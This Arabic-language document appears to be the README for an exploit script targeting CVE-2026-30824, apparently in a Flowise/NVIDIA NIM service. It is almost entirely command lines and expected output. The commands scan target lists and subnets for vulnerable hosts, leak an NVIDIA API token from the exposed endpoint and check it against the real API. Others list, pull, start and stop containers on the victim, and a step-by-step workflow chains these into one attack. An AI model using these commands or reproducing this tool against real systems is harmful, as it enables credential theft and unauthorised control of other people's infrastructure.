# استنساخ أو تنزيل السكربت
git clone <repository>
cd cve-2026-30824

# تثبيت التبعيات
pip install -r requirements.txt
# أو
pip install requests

# فحص ما إذا كان هدف واحد معرضًا للخطر
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check

# المخرجات المتوقعة (معرض للخطر):
# [+] الهدف يبدو معرضًا للخطر (HTTP 200)
#     الاستجابة: {...}

# إنشاء targets.txt مع عنوان URL واحد في كل سطر
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF

# فحص جميع الأهداف (وضع سريع، بدون مطالبات)
python3 CVE-2026-30824.py -f targets.txt --scan-only

# ملخص المخرجات المتوقع:
# ============================================================
# [*] ملخص الفحص
# ============================================================
# [+] معرض للخطر: 2
#     ✓ http://192.168.1.100:3000
#     ✓ http://192.168.1.101:3000
# [-] تم التصحيح: 1
#     ✗ http://192.168.1.102:3000

# تسريب رمز NVIDIA API من نقطة النهاية المعرضة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# المخرجات المتوقعة:
# [*] محاولة تسريب رمز NVIDIA API...
# [+] رمز NVIDIA API: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] نوع الرمز: Bearer
# [+] تنتهي الصلاحية خلال: 3600 ثانية

# التحقق من أن الرمز المسرب يعمل مقابل NVIDIA API الحقيقي
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."

# المخرجات المتوقعة:
# [*] التحقق من الرمز مقابل NVIDIA API...
# [+] الرمز صالح! الوصول إلى 45 نموذج NVIDIA NIM.
#     - mistralai/mistral-7b-instruct-v0.1
#     - meta-llama/llama2-70b
#     - (...)

# تعداد الحاويات على الهدف
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers

# المخرجات المتوقعة:
# [*] عرض الحاويات قيد التشغيل...
# [+] HTTP 200
# [
#   {
#     "id": "abc123xyz",
#     "names": ["flowise_nim"],
#     "image": "nvcr.io/nvidia/nim:latest",
#     "state": "running"
#   }
# ]

# تشغيل جميع فحوصات الاستطلاع على الهدف المعرض
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
                             [--scan-only] [--get-token]
                             [--validate-token TOKEN] [--list-containers]
                             [--get-container CONTAINER_ID]
                             [--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
                             [--start-container IMAGE_TAG]
                             [--container-name CONTAINER_NAME]
                             [--stop-container CONTAINER_ID] [--preload]
                             [--all] [--timeout TIMEOUT] [--debug]

الحجج الاختيارية:
  -h, --help                    عرض رسالة المساعدة والخروج
  -t, --target TARGET           عنوان URL للهدف (مثل: http://192.168.1.100:3000)
  -f, --targets-file FILE       ملف يحتوي على قائمة الأهداف (واحد في كل سطر)
  
اكتشاف الثغرة:
  --check                       فحص ما إذا كان الهدف معرضًا للخطر فقط
  --scan-only                   فحص الأهداف بحثًا عن الثغرة دون مطالبات
  --debug                       عرض تفاصيل الطلب والاستجابات الخام
  
الاستغلال:
  --get-token                   تسريب رمز NVIDIA API
  --validate-token TOKEN        التحقق من الرمز المسرب مقابل NVIDIA API
  --list-containers             عرض حاويات NIM قيد التشغيل
  --get-container CONTAINER_ID  الحصول على تفاصيل الحاوية
  --get-image IMAGE_ID          الحصول على تفاصيل الصورة
  --pull-image IMAGE_TAG        سحب صورة Docker (مثل: nvcr.io/nvidia/nim:latest)
  --start-container IMAGE_TAG   تشغيل حاوية من علامة صورة
  --container-name NAME         اسم الحاوية التي تم تشغيلها
  --stop-container CONTAINER_ID إيقاف حاوية قيد التشغيل
  --preload                     تشغيل نقطة نهاية التحميل المسبق للموارد
  --all                         تشغيل جميع فحوصات الاستطلاع
  
متقدم:
  --timeout SECONDS             مهلة الطلب بالثواني (الافتراضي: 15)

# 1. فحص الشبكة الفرعية بالكامل بحثًا عن الحالات المعرضة
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only

# 2. لكل هدف معرض، استخراج الرمز
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token

# 3. التحقق من تأثير الرمز
python3 CVE-2026-30824.py --validate-token "<extracted-token>"

# التحقق من الثغرة وإظهار نطاق الأثر الكامل
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all

# سيؤدي هذا إلى:
# 1. فحص الثغرة
# 2. استخراج رمز NVIDIA API
# 3. التحقق من الرمز مقابل NVIDIA API
# 4. عرض الحاويات قيد التشغيل
# 5. إظهار تعداد الموارد

# مراقبة هدف بشكل دوري (عبر cron أو المجدول)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log

# اختبار الاتصال
curl -v http://192.168.1.100:3000/

# زيادة المهلة
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30

# إضافة المنفذ والبروتوكول صراحةً
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check